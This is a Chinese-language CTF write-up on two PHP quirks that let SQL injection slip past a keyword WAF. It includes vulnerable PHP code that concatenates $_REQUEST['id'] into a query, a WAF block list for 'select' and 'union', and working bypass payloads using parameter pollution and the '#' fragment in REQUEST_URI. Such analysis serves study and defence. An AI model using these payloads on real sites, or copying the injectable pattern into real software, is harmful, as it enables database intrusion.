1. 程式人生 > >PHP的兩個特性導致waf繞過注入(有趣的知識點)

PHP的兩個特性導致waf繞過注入(有趣的知識點)

1、HPP HTTP引數汙染 HTTP引數汙染指的是,在URL中提交相同鍵值的兩個引數時,伺服器端一般會進行一些處理。比如Apache就要以最後一個引數為準,比如: user.php?id=111&id=222 如果輸出$_GET陣列,則id的值只會取222,即URL上提交的多餘值覆蓋了前一個值。 2、一個CTF題目

關於注入的waf繞過,注入點為:

$sql="select * from user where id=".$_REQUEST["id"].";";
可以看到了REQUEST進行傳遞,並且存在如下的waf程式碼:
functionwaf($str) {
    if(stripos($str,"select")!==false)
        die("Be a good person!");
    if(stripos($str,"union")!==false)
        die("Be a good person!");
    ......
}  
 
functionwafArr($arr) {
    foreach($arras$k=> $v) {
        waf($k);
        waf($v);
    }
}  
 
wafArr($_GET);
wafArr($_POST);
wafArr($_COOKIE);
wafArr($_SESSION); 
 
functionstripStr($str) {
    if(get_magic_quotes_gpc())
        $str= stripslashes($str);
    returnaddslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));
}  
 
$uri= explode("?",$_SERVER['REQUEST_URI']);
if(isset($uri[1])) {
    $parameter= explode("&",$uri[1]);
    foreach($parameteras$k=> $v) {
        $v1= explode("=",$v);
        if(isset($v1[1])) {
            $_REQUEST[$v1[0]] = stripStr($v1[1]);
        }
    }
}  
 
functionstripArr($arr) {
    $new_arr= array();
    foreach($arras$k=> $v) {
        $new_arr[stripStr($k)] = stripStr($v);
    }
    return$new_arr;
}  
 
$_GET=stripArr($_GET);
$_POST=stripArr($_POST);
$_COOKIE=stripArr($_COOKIE);
$_SESSION=stripArr($_SESSION);
這裡使用了waf函式分別對GET POST SESSION COOKIE資料進行過濾,並且對這些全域性陣列進行轉義。 值得注意的是,這裡的$_REQUEST是程式碼中重新根據$_SERVER['REQUEST_URI']進行拼接,在拼接過程中將引數值進行轉義操作。 (1)思路1  使用HPP特性 看似不太可能存在注入,但是使用HPP可以實現。 示例程式碼:
user.php?id=0 or 1&id%00=1
user.php?id=0 or 1&%20id=1
user.php?id=0 or 1?&id=1
測試程式碼:
<?php 

function stripArr($arr) {
    $new_arr = array();
    foreach ($arr as $k => $v) {
        $new_arr[stripStr($k)] = stripStr($v);
    }
    return $new_arr;
}

function stripStr($str) {
    if (get_magic_quotes_gpc())
        $str = stripslashes($str);
    return addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));
}

$uri = explode("?",$_SERVER['REQUEST_URI']);
if(isset($uri[1])) {
    $parameter = explode("&",$uri[1]);
    foreach ($parameter as $k => $v) {
        $v1 = explode("=",$v);
        if (isset($v1[1])) {
            $_REQUEST[$v1[0]] = stripStr($v1[1]);
        }
    }
}
var_dump($_GET) ;

var_dump($_REQUEST) ;

?>
輸出結果:

可以看到,這裡的GET陣列取到了最後一個值,不會觸發waf,而REQUEST資料中,id則為我們的注入語句,這樣 利用這兩者之間的差異,我們可以繞過waf函式的檢測,並且利用之前的注入點來實現注入。 (2)思路2: 利用#特性($_SERVER['REQUEST_URI']) 在瀏覽器中,是不會將#號之後的hash內容傳送給伺服器的,這裡利用burp發包,可以將hash的內容傳送至伺服器,比如傳送: /#?id=1 這裡GET陣列為空,REQUEST則輸出為/#?id=1,這樣,就可以繞過waf函式對GET陣列的判斷, 並且在REQUEST(這裡主要因為REQUEST陣列是使用了REQUEST_URI進行了重組)中攜帶注入的語句,繞過了waf檢測。

3、總結 這種特性導致的漏洞場景比較特殊,首先,CTF中模擬的場景是waf函式只對GET,POST,SESSION,COOKIES全域性陣列進行的處理,注入點為REQUEST,在場景中,程式碼對REQUEST陣列通過$_SERVER['REQUEST_URI'],使用&分割重新組裝的,這種程式碼處理可能是由於程式設計師想對REQUEST陣列進行轉義或者一些淨化處理才加進來的。 利用: (1)HPP特性,提交重複引數內容,PHP處理引數時會覆蓋,但是程式拼接時會出現差異, 比如提交:http://127.0.0.1/shell.php?id=0 or 1&id%00=1 GET為id=1,REQUEST為:
  'id' =>'0%20or%201'(length=10)
  'id%00' =>'1'(length=1)
可以看到,成功將注入內容引入到REQUEST陣列中。 (2)利用#符號,#後面的內容不會帶入至GET陣列中,但是會出現在REQUEST_URI中,所以可以利用這個特性將注入語句帶入到REQUEST物件中。 總之,這種特性導致的漏洞場景比較特殊,但是確實比較有趣。